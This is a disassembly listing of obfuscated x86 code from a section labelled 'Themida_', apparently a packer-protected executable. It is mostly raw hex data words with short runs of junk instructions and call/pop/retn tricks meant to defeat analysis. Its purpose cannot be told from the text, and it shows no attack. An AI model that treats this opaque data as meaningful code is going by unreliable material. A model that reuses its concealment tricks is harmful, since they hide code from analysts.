dd 1D0424h, 53430000h, 1CAF05C3h, 6F6FF67Ch, 6048294Eh
dd 5918501h, 0B531060Bh, 60B02C9h, 7D858B61h, 0F060B31h
dd 4689DBBFh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0FA8CA1Ch, 96D9BF0Fh, 0C970BE60h
dd 0FCBA1D91h, 6106880Ch, 6A9650h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 1B990C3h, 177DB589h
dd 0B5FF060Bh, 60EA815h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 11C35747h, 2E68461Eh, 0F8EA379h, 0A89h
dd 52506000h, 585A310Fh, 8161EE8Ah, 8AD12404h, 6E9717Bh
dd 0F3000000h, 0E2099767h, 1D858D3Ah, 6A060EA8h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 223C355h, 5E850h, 0CAF90000h, 8A601E63h, 4895FF9h, 0AD958924h
dd 0FF060B28h, 0B03D195h, 0C19D8B06h, 61060B21h, 2F98D89h
dd 85C7060Bh, 60B1009h, 3, 2A159D8Bh, 0BD83060Bh, 60EA81Dh
dd 5B840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 8C90C353h, 0C9280640h
dd 10E9D0D7h, 52000000h, 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h
dd 0E969D01Dh, 39h, 1D01BB66h, 0CE8h, 927C400h, 747780D2h
dd 46F2F346h, 28D0FD1h, 60000000h, 30505F61h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 4D9589C0h
dd 6A060B1Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 3F5EC355h, 6B59D89h, 0BD83060Bh
dd 60B1009h, 59850F03h, 23000004h, 0B0B259Dh, 1DBD8306h
dd 60EA8h, 446840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 4948A1C3h, 0A81DB5FFh
dd 78B3060Eh, 0BBD8509h, 95FF060Bh, 60B083Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DBC35343h, 0BC7BF963h
dd 6870F8Fh, 1000000h, 0B202D9Dh, 11B58B06h, 0B3060EA8h
dd 106C7EFh, 96000100h, 0CE860h, 14C70000h, 0DEC14248h
dd 271E80E3h, 0B966D633h, 505A068Dh, 5BFE8B66h, 5E95061h
dd 68000000h, 0C956C01Ah, 56006A96h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E8682E40h
dd 10h, 9BEFCB69h, 8C0CC17h, 41517807h, 7E70D902h, 3D5BD29h
dd 0FF5F060Bh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FFB26Ch
dd 60B0641h, 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 5FD88B66h
dd 0ED4DBB66h, 0A811B58Bh, 6A060Eh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9B2384C3h
dd 0A435DE3Bh, 0BB66319Eh, 0FE8B9696h, 121D858Bh, 6A060Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 51686DC3h, 86892AD1h, 0C4h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0C0C35747h, 71B0E1E1h, 0BD5F059Dh
dd 4D958B40h, 6A060B17h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0E993C352h, 0Bh, 0DE181BA8h
dd 8ACBAEF4h, 8320BA96h, 800F04C2h, 6, 15A1BD8Bh, 9E8060Bh
dd 2000000h, 0C8DC49AEh, 901AD84Dh, 2311BD23h, 895F060Bh
dd 0B70F2050h, 0EE858DD9h, 0B3060EBAh, 0B886896Ch, 66000000h
dd 13BDF381h, 9DBB006Ah, 0FF54AB6Dh, 0EA81DB5h, 0DE806h
dd 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 5B9F3790h, 0F1595FFh
dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0B5891EC3h, 60B0095h, 0D49CBB50h, 34897F79h
dd 0B5FFFC24h, 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0CEC35343h, 607EA68Ch, 9FB96660h, 0DDBA618Eh
dd 61697135h, 0F595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0C6DAB8C3h, 0BF0F5738h
dd 0BD835FFEh, 60B2191h, 53840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 2A8CC351h, 9E866h, 6FD30000h, 0FD216162h, 809B1F1Bh
dd 965B3ED7h, 0EFBB6652h, 0E8505F21h, 0Dh, 2418313Dh, 0AEB67220h
dd 0F2C95D75h, 86BCBB54h, 965F3692h, 0B5FFF98Bh, 60EA81Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h
dd 9D89B8D4h, 60B2B39h, 128195FFh, 6A060Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4D5EE1C3h
dd 0E960F89Eh, 0Eh, 0F5806051h, 0DEA50460h, 0A9035EFFh
dd 0B5FF35E4h, 60EA81Dh, 0FFD98B66h, 0B0B8D95h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 57EB9E7Eh, 0BD83F544h, 60B17F1h, 6E840F02h, 81000000h
dd 316433D3h, 0C5858B63h, 6A060B2Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 385BC351h
dd 8E0AA0EAh, 29D58D89h, 8060060Bh, 8B661FEDh, 0C661CEh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 958EEA26h, 60432FE9h, 3800Fh, 8B660000h
dd 0D6B70FCFh, 0B985C761h, 60B06h, 0F000000h, 1789h, 12E900h
dd 3B4D0000h, 0B760FE18h, 4BC4ABBCh, 95D2DC6Bh, 0D79705A5h
dd 0FFF2E6E9h, 66C18BFFh, 0E80DC1BFh, 7, 0CE7F25A9h, 66178BE8h
dd 5B8B3FBAh, 29036DBFh
dd 29C38158h, 0E9000060h, 0Bh, 0DC9593B2h, 10402654h, 68B25458h
dd 17DFh, 0A1858960h, 61060B2Ah, 49BD3159h, 0FF060B0Fh
dd 6840F33h, 89000000h, 0B32A985h, 0F38B5806h, 71B8F081h
dd 0B58B5FD9h, 60B29B9h, 3A5BC081h, 8A0F7E0Dh, 6, 1779BD8Bh
dd 0C081060Bh, 4477B11h, 4AEBBE66h, 259D2950h, 8F060B21h
dd 0EE903h, 6C180000h, 5B180E15h, 0A49B4E31h, 0F058ACF4h
dd 4694EB81h, 8B665A48h, 90C381D6h, 815A4846h, 0F6D380EEh
dd 850F497Dh, 0FFFFFF8Fh, 0AE28166h, 598D8D3Fh, 6A061036h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 0E8ADC357h, 9, 17184A0Ah, 497BC23h, 49958932h
dd 5F060B01h, 174D8D89h, 8B66060Bh, 1985C7FAh, 4C060B01h
dd 6A000059h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 91F7C351h, 0DC83E48Fh, 38A0FCAh
dd 66000000h, 85C7C78Bh, 60B1009h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_58F6BB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F6BB proc near ; CODE XREF: Themida_:0058F6B3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58F6BB endp
; ---------------------------------------------------------------------------
mov [eax+19C9B5FFh], ecx
or eax, [esi]
call dword ptr [ebp+60B0AC5h]
push 0
push edx
call sub_58F6E4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F6E4 proc near ; CODE XREF: Themida_:0058F6DCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_58F6E4 endp
; ---------------------------------------------------------------------------
push cs
xchg eax, esi
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_58F76F
; ---------------------------------------------------------------------------
dw 876h
dd 0EC96A46Dh, 26BFDEE5h, 0D883D89h, 15C9267Fh, 0DC6535F9h
dd 14D11384h, 0B5E88862h, 2BD531D0h, 0A49A1749h, 5E96F615h
dd 9AB44394h, 7684D123h, 0A21901D1h, 42F14D03h, 0E9EE9D90h
dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h
dd 0DF3999C4h, 32187F1Fh, 29A65137h, 0C3E1D250h, 112EDB20h
dd 6817D796h
db 0DBh, 16h, 0DBh
; ---------------------------------------------------------------------------
loc_58F76F: ; CODE XREF: Themida_:0058F700j
lea ecx, [ebp+610377Ch]
push 0
push ebx
call sub_58F780
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F780 proc near ; CODE XREF: Themida_:0058F778p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_58F780 endp
; ---------------------------------------------------------------------------
mov edi, 68685E42h
retn 68EFh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
add bh, 5Bh
mov [ebp+60B174Dh], ecx
mov dword ptr [ebp+60B0119h], 70E0h
push 0
push esi
call sub_58F7B7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F7B7 proc near ; CODE XREF: Themida_:0058F7AFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_58F7B7 endp
; ---------------------------------------------------------------------------
db 10h
dd 12F24723h, 8B5FDE05h, 0B012D9Dh, 985C706h, 60B10h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E9E3C356h, 6, 1E94EB05h, 0B5FFD313h, 60B0105h
dd 95FF49B6h, 60B0AC5h, 4F28166h, 0FF006A77h, 0B32DD95h
dd 0EBC08B06h, 0FDAF4C2Ch, 0CE722809h, 0EBA5CC5h, 2D6DF3F7h
dd 5D3C0A1Eh, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh, 7F08288Fh
dd 994CC8Bh, 6C6D0051h, 33582018h, 3331C857h, 6D121001h
dd 47BB56C2h, 77B30025h, 33290625h, 65740101h, 4EE1E2C2h
dd 3A81BAB2h, 0EBB94637h, 0BF54E18Ah, 28F01D9h, 9B340F17h
dd 9EB60D05h, 0BA320100h, 383C959Ch, 28FC307h, 33342B0Fh
dd 3343940Eh, 33580801h, 3331EC57h, 6D120201h, 47BB5FC2h
dd 77B38425h, 33294425h, 65742001h, 948591C2h, 359DC772h
dd 44E0852Ch, 3C308DBEh, 33320083h, 56DB7901h, 59324000h
dd 30DA7101h, 13321001h, 0BA6BCB58h, 0B236204Dh, 2E362645h
dd 72320101h, 0CC564350h, 94655485h, 0CF3DF0D2h, 333217E9h
dd 662E1E01h, 0A0673426h, 33368B0Eh, 8D540101h, 0A36C5E84h
dd 33324EE9h, 9A332101h, 0CFC0B1FBh, 1314BCBEh, 0DB9936E5h
dd 3332020Ah, 0B2F7448Ah, 19D658D6h, 0DB2C38EFh, 33322006h
dd 13F26428h, 6C5BB0FFh, 0A3625F5Bh, 2B63BF88h, 323D070Ah
dd 59CCA44Dh, 30DA1101h, 13322001h, 0BA6BD358h, 0B2362C4Dh
dd 2F362045h, 72320201h, 1436C250h, 0FACE84C8h, 814B5A92h
dd 0F3B17802h, 3BB9E52Dh, 7BB96EFDh, 0E4B962FDh, 50B8367h
dd 0A9B60EFEh, 0DA328001h, 3332400Ch, 1D283649h, 0B856E9E3h
dd 898940B2h, 0B0C08F92h, 33580BC0h, 3331E950h, 6A128001h
dd 7FBB19C2h, 77B32425h, 332A1425h, 62730801h, 0B0559BC2h
dd 36DBE430h, 98320101h, 3ECDA349h, 0AB2988Ah, 6EB72FE8h
dd 18321001h, 3824ADB4h, 32738F07h, 0E2C18367h, 0B0FA028Ah
dd 335885C0h, 3331A854h, 6E122001h, 5FBB4DC2h, 77B30C25h
dd 332A0025h, 66770201h, 72AF54C2h, 8E396FD7h, 35394318h
dd 369FBD28h, 0AB3160Ah, 0B8714391h, 3320810Eh, 843D0201h
dd 0E4BF8CFEh, 8B348B4Ch, 33324002h, 0D2CDA9B7h, 728F9B60h
dd 0BE340306h, 2305A9BCh, 84BF8F07h, 8B341138h, 32A00375h
dd 3693C532h, 0FC19260Ah, 335820C0h, 3331C857h, 6D121001h
dd 47BB56C2h, 77B30025h, 33290625h, 83740101h, 0A4F305E9h
dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0E9E589C3h, 0B0D2991Fh, 0EE8h, 6A8AE700h
dd 9047214Bh, 1F8F5A8h, 60078042h, 2F359D8Bh, 8166060Bh
dd 61C4A2C7h, 8DC38B5Ah, 103B188Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 781AB004h
dd 0A2E360EAh, 9D09B975h, 60B1949h, 174D8D89h, 6A060Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0DA3AAEC3h, 858BF5C0h, 60B1771h, 11985C7h, 5A80060Bh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0E11C62C3h, 81EBC065h, 0B58902BDh, 60B0721h
dd 100985C7h, 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0F171BCC3h, 0B3B5DD5Eh
dd 0F85AFEB2h, 1F8DB5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 8B9ED2C3h, 0B02B9B5h
dd 0C595FF06h, 29060B0Ah, 0B1A098Dh, 0FF006A06h, 0B32DD95h
dd 0EBC08B06h, 64287B3Ah, 6EA445C8h, 0D56F3C9Ch, 974E75F9h
dd 0CE10A656h, 5302C33Bh, 11E924Ch, 0CB42BA28h, 0EF90E48Eh
dd 53CF4716h, 0CCBAAAEBh, 0D197BF95h, 921481B0h, 4AB1CC16h
dd 8D855F1Dh, 103C208Dh, 89D5B406h, 0B174D8Dh, 0C5850106h
dd 0C7060B1Bh, 0B011985h, 73A006h, 198D2900h, 0C7060B24h
dd 0B100985h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 1B04EE7Eh, 89584FE4h
dd 0B0E699Dh, 0EE906h, 7E230000h, 6140DD8Bh, 0A1464217h
dd 8153ED86h, 2705B5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0EE3F34C3h, 8936A33Bh
dd 0B31959Dh, 0C595FF06h, 6A060B0Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C034C353h
dd 8B1328E0h, 0B12AD95h, 0FF006A06h, 0B32DD95h, 0EBC08B06h
dd 0F9C4416Bh, 0BA397A66h, 0AE8A9379h, 29AF5801h, 0DCC28FDFh
dd 0F281C1Bh, 57830D44h, 38CECF0Ch, 67E4B3E7h, 0B215088Eh
dd 1AA6B020h, 0EBEE2F9Eh, 0C3966507h, 13C8526Fh, 0EF2F45D5h
dd 0CDEE79FFh, 0ABD4755Fh, 667826FCh, 0EEC0C2CBh, 4898E336h
dd 5D64DB66h, 30BA06E2h, 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h
dd 0F0E90CB9h, 3775A810h, 12E8h, 72117200h, 9554E1DDh
dd 9BFB40F7h, 0FB683753h, 56F74023h, 5ACE8B66h, 259D295Fh
dd 81060B0Bh, 61B1C7h, 0CE86000h, 86000000h, 2148896Bh
dd 0B02CB26h, 89E52C90h, 0B018995h, 0BD8B5A06h, 60B0509h
dd 0B861h, 8B660000h, 3834FFD0h, 81CA8B5Eh, 0CE02F9EEh
dd 812BB610h, 2934B0EEh, 0D081604Ah, 600BEF01h, 79F68161h
dd 8B2C1D30h, 0B0BF18Dh, 7348906h, 7B6A75B9h, 9E825h, 57500000h
dd 0AB9B7353h, 0E9A5EF35h, 0Eh, 0E156C18h, 4E315B18h, 0ACF4A49Bh
dd 815BF058h, 0E8F0E7E8h, 499D010Ch, 81060B2Bh, 0E8F0E3C0h
dd 12E90Ch, 8D7E0000h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h
dd 0BA4332ACh, 9F54F881h, 850FFFFFh, 1Eh, 4398D8Bh, 2BE9060Bh
dd 0E5000000h, 0A14268E8h, 0B942106Ah, 851FC5E3h, 0C4AC008Ah
dd 8D8BBEFAh, 60B3389h, 0FFFF50E9h, 0CD346DFFh, 50B7243Dh
dd 9AE082D0h, 0ACB32887h, 0EC62A27Bh, 3EBD8F3Bh, 931C34BBh
dd 91BE1B51h, 2A95370Dh, 0AF4647B0h, 278EE30Dh, 35A732B6h
dd 0EC6261E0h, 2CF03108h, 19FFBBB0h, 0A13B399Ah, 212D282Dh
dd 779CCDB6h, 0FD1AB1E8h, 2CD53999h, 7FB925C4h, 2CF03108h
dd 19FFBBB0h, 0A13B399Ah, 212E3B2Dh, 779CCDB6h, 7BA758E8h
dd 2CD33158h, 0EFB612B0h, 888BBEFh, 83EB3B4h, 2C3D2EB4h
dd 0EFC975B0h, 3385DF77h, 62F69D00h, 2CDADBCBh, 3A832B0h
dd 64EE52DBh, 25A7B7A8h, 273DBB3Dh, 465EB9B6h, 2FA760B0h
dd 0CA732B0h, 0A589F1EAh, 0ADED16E4h, 38F016F4h, 6E7A32B0h
dd 2FA8F1E2h, 27B4930Dh, 0F4C354B6h, 3F128FB3h, 287B34BBh
dd 28A7B6BFh, 2C9E32B0h, 2C79DAE7h, 731D32B0h, 50176D73h
dd 68CE3694h, 2CBB3694h, 7B9432B0h, 0E6683C73h, 761922Bh
dd 91F93A39h, 2A363C81h, 6C1A3DB0h, 464F32B0h, 2F4F62B0h
dd 0CD332B0h, 0A5B1F1E8h, 0ADF016F4h, 3B7E16F4h, 6C3D32B0h
dd 0A63DF1E0h, 0B9C412EEh, 2AAC1F4Dh, 2CD0C159h, 2CF8DBB0h
dd 67332B0h, 938DC89Fh, 0BDF072A9h, 42B82D5h, 9255F29Eh
dd 2EA715B0h, 37AAAFB9h, 0E36934BBh, 0F671BF23h, 467C3CC0h
dd 2FD565B0h, 0C9E32B0h, 0A510F1EFh, 0ADA316CCh, 37D716F4h
dd 6BE932B0h, 586EF1E7h, 7CE96D4Bh, 99B47DACh, 2A952171h
dd 0A1C4E24Fh, 2AAC34D9h, 0A8DCF235h, 2CE93254h
dd 2CF42359h, 5D80EBB0h, 0B059DE97h, 0F513E182h, 3B49FBD9h
dd 14269D21h, 0D75254E7h, 2CC4B7BFh, 0AD9232B0h, 2E7836C8h
dd 2F40B6BFh, 2CF432B0h, 2C4CDAE2h, 768732B0h, 785A6873h
dd 68683694h, 2CED3694h, 7E3832B0h, 0F7F90973h, 4A066C42h
dd 4CD30A31h, 2C2DB7BFh, 2CB932B0h, 2CEADAE1h, 75D432B0h
dd 60F36B73h, 68BC3694h, 2C8B3694h, 7D0E32B0h, 0C4609E73h
dd 2CD332A0h, 2CD0D287h, 5E6F9EF5h, 0BB3399DFh, 888F631Bh
dd 3E3FBF3Bh, 0A51634BBh, 2797D72Dh, 2EABB2B6h, 6D6C3D58h
dd 46F432B0h, 2F9263B0h, 0C3D32B0h, 0A5C7F1E9h, 0AD4B16FCh
dd 34A316F4h, 6DD332B0h, 389BF1E1h, 4A0AC9C5h, 4A164E0Bh
dd 2C3B4A31h, 3D1B3D1Bh, 54F32B0h, 27A6A72Dh, 2E1EDBB6h
dd 0A96032B0h, 2AFF1301h, 2D7B320Eh, 4AECB9F6h, 0C1B7D831h
dd 5C95B73Dh, 224F34BEh, 18D332B0h, 0A5D54449h, 1F059ECBh
dd 95BFDFC8h, 48846DDCh, 0D3B3F33Bh, 11F21B60h, 0A9A139B9h
dd 5D573D70h, 46E932B2h, 2F1C60B0h, 0C7A32B0h, 0A567F1EAh
dd 0AD9A16E4h, 354B16F4h, 6EA732B0h, 4B44F1E2h, 0B5AC35BBh
dd 1DA1A739h, 91F334BBh, 2A363009h, 11F80A31h, 0A94030B2h
dd 2CA732F0h, 0C48232DAh, 2CE932B3h, 75376B90h, 285E7E39h
dd 28197631h, 2C9E32A8h, 0DB8C63F1h, 0B450CF95h, 500AB3D6h
dd 0AD3AB9FBh, 119234C8h, 0A87548EFh, 2C3D30AFh, 3CB7AF3Bh
dd 0A9C634BBh, 2AAC1B89h, 0B0EBB3D6h, 0BD6C3DD0h, 46F432B0h
dd 2F9265B0h, 0C3D32B0h, 0A5C1F1EFh, 0AD4B16CCh, 3AA316F4h
dd 6BD332B0h, 7687F1E7h, 0B11FB25Dh, 6DF8F3Bh, 54BD34BBh
dd 0A991DAB2h, 2C4F32D0h, 0C4F732DAh, 2CD332B3h, 742A6A90h
dd 28D07639h, 285E7631h, 2C3D32A4h, 0E65D62F0h, 0B1C6C107h
dd 2AAC33E9h, 2AABB3D6h, 0A9E6F2B0h, 2CF43280h, 4DFB739h
dd 0B0D434BBh, 469E32B1h, 2FA763B0h, 0CA732B0h, 0A58AF1E9h
dd 0ADED16FCh, 39F016F4h, 6D7A32B0h, 52D1F1E1h, 750B33E3h
dd 77493981h, 2DA6320Eh, 600DB2CEh, 5C33B73Dh, 0A97D34BEh
dd 2A7128F1h, 2C57E24Fh, 2C9DDAE1h, 756F32B0h, 602E6B73h
dd 68523694h, 2CF13694h, 7DB532B0h, 0B7135973h, 9B3246A9h
dd 235EB74Ah, 2C4E2934h, 7EA758B0h, 2CD33158h, 0EFB312B0h
dd 8A0BBEAh, 83EB3B4h, 2C3D2BB4h, 0EFCC70B0h, 5E3FAF5Ah
dd 0C4F6DFD6h, 2CD332A2h, 52FEBF49h, 75E24BA7h, 0FDBFA7C2h
dd 6C237106h, 4DFE16E8h, 14CF6BEAh, 56223D58h, 46D332B0h
dd 2F0160B0h, 0CF432B0h, 0A520F1EAh, 0AD3916E4h, 389A16F4h
dd 6E4F32B0h, 0AC72F1E2h, 23A037C8h, 2CE96635h, 7DF458B0h
dd 2C7A3158h, 0EF6412B0h, 8D2BBE9h, 80BB3B4h, 2CA724B4h
dd 0EF8273B0h, 0A65428BFh, 2B8CB27Ah, 8CFE3DE3h, 463D32B0h
dd 2F7664B0h, 0C4F32B0h, 0A5F9F1EEh, 0ADD716C4h, 30ED16F4h
dd 6AF432B0h, 746BF1E6h, 0FE4A0CAFh, 0A5EDAB1Eh, 274F230Dh
dd 142654B6h, 0A9DC373Fh, 2CE932E0h, 44F24A30h, 2C3CB7BFh
dd 2C5732B0h, 2C9DDAE3h, 776F32B0h, 702E6973h, 68523694h
dd 2CFD3694h, 7FB732B0h, 0A075C473h, 2C3D32BDh, 411B31D0h
dd 4A493999h, 82CBFB31h, 545254D1h, 23CCCDBBh, 2CF43935h
dd 0F5F7BBB0h, 0C53B399Ah, 2C9E32ABh, 2C4F3208h, 0A92E65B0h
dd 2AD82B09h, 2CCEDBEBh, 0B97F32B0h, 2A712A11h, 94F6B9D6h
dd 2C9E32B1h, 2C4F3858h, 0A3DDB6B0h, 73813687h, 0A79B5B10h
dd 27E1432Dh, 9B7568B6h, 0A3326262h, 2C9E32B2h, 28C67F01h
dd 2E203D94h, 0A7D332B0h, 0B254BF4Ah, 0A1F2228Dh, 3C392F3Dh
dd 791E8AB6h, 0A99D45D6h, 2A4420F5h, 320EFD9Bh, 0B2CE2DA6h
dd 0B73D600Dh, 34BE5C33h, 28F1A97Dh, 0E24F2A71h, 0DAE12C57h
dd 5E9839Dh, 8B58A4F3h, 0B11398Dh, 8D035206h, 60B18E5h
dd 0FC00B5Ah, 6784h, 0E3816600h, 0B58DC3B4h, 60B4DD7h
dd 3B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 0E9B4F912h, 0Dh, 416102F9h, 7B4BB4B2h
dd 0AB3B3636h, 6AE6FF95h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0EC7BC352h, 375C3058h
dd 32A2BF66h, 698D8940h, 0F8060B29h, 12E9C08Bh, 17000000h
dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0C4BEADDBh, 0BDBD833Ch
dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h
dd 403h, 12998589h, 9D8D060Bh, 60DB381h, 585BD3FFh, 29D1BD83h
dd 7400060Bh, 0B8535017h, 403h, 12998589h, 9D8D060Bh, 60DB022h
dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0EFC35141h, 0C2DBD29h, 8D8B060Bh, 60B056Dh, 0DD8AC08Bh
dd 3800Fh, 0BF0F0000h, 0CE861DEh, 0F3000000h, 0D44A1EEDh
dd 43BFE176h, 8BA397B1h, 0ACB958CBh, 81144355h, 5A75C0h
dd 0FFB70F00h, 166C68h, 0A58D8B00h, 5E060B13h, 68C0Fh
dd 0D7810000h, 0C8777C2h, 9D8B30FFh, 60B18BDh, 0B529605Ah
dd 60B2EE9h, 0EA8161F8h, 40E53760h, 83C281F5h, 8123C3DAh
dd 0E8DB2EE7h, 78EA8161h, 6645A39Ah, 3B1EDB81h, 0DEBF0F52h
dd 0E883008Fh, 69BF6601h, 4848481Dh, 2E850F4Eh, 0E8000000h
dd 9, 758E8A73h, 0C1B25C3Dh, 19D8B2Eh, 59060B1Ah, 33E9h
dd 84F19700h, 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h
dd 0F99D8B7Fh, 0E9060B0Ah, 0FFFFFF80h, 4BBC5773h, 0F5E36963h
dd 14EFFE41h, 2E6E86D0h, 7E3EF4EEh, 0D4712ADEh, 0DC4B46D4h
dd 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h
dd 930E76EFh, 0B44E6033h, 67A5E4FFh, 933566F8h, 80A3BEA0h
dd 67203D2Eh, 79A3BA79h, 1B2038D6h, 930126D7h, 1D293333h
dd 98263383h, 0DD1EB6C0h, 157635B6h, 886319D6h, 0DD963AFh
dd 9E2D3135h, 98266483h, 15235935h, 8863091Fh, 1DAB634Bh
dd 9E36768Ch, 81B3CC03h, 932038ACh, 0A1A23C14h, 1526336Ah
dd 886309B0h, 0AACE639Ch, 0D826334Dh, 0D8A3BEF6h, 0C8202316h
dd 0DD1CB624h, 677635C4h, 93263EFFh, 94E2B033h, 0DD1CB617h
dd 1576355Dh, 88631923h, 0DD96355h, 9E2D3148h, 9826513Dh
dd 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h
dd 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h, 0AB263335h
dd 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h
dd 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh
dd 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh, 152637A8h
dd 88631B88h, 0C5ABBE9Ch, 2020230Bh, 93h, 71E7FC78h, 0D0073102h
dd 4C783C8h, 0F2850F49h, 8DFFFFFFh, 10465DB5h, 7C8D8D06h
dd 2B061046h, 5E983CFh, 6E8C88Bh, 0EE000000h, 9888F2D5h
dd 69BD89F7h, 5A060B17h, 5B99D89h, 0C281060Bh, 6369h, 1FFD8D89h
dd 0A9BB060Bh, 29000018h, 0B03B9BDh, 0B032FF06h, 9D895EABh
dd 60B3339h, 566AF681h, 8C0F2BC3h, 5, 73CF8166h, 0D0EE81D8h
dd 0E930DAE7h, 0Bh, 0B2D02092h, 4516BD2Dh, 812F8F62h, 29359CC6h
dd 9E832h, 35DC0000h, 0F859EC6Ah, 8B12B395h, 0B206D8Dh
dd 32895806h, 68C0Fh, 85010000h, 60B1A75h, 9A4CEA81h, 0D4803563h
dd 48C28196h, 8B35639Ah, 0B016585h, 850F4B06h, 10h
dd 1E9DBD89h, 1DE9060Bh, 1F000000h, 171AE926h, 18D98166h
dd 0FF6FE9B7h, 1203FFFFh, 3432EF2Ch, 79C69D38h, 7E3A8A17h
dd 482F8D8Dh, 870F0610h, 3, 89D7D780h, 0B174D8Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 9BCEB098h, 22618524h, 27699501h, 85C7060Bh, 60B0119h
dd 637Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 68C35343h, 11B8D620h, 45622B78h, 22DB589h, 8B0F060Bh
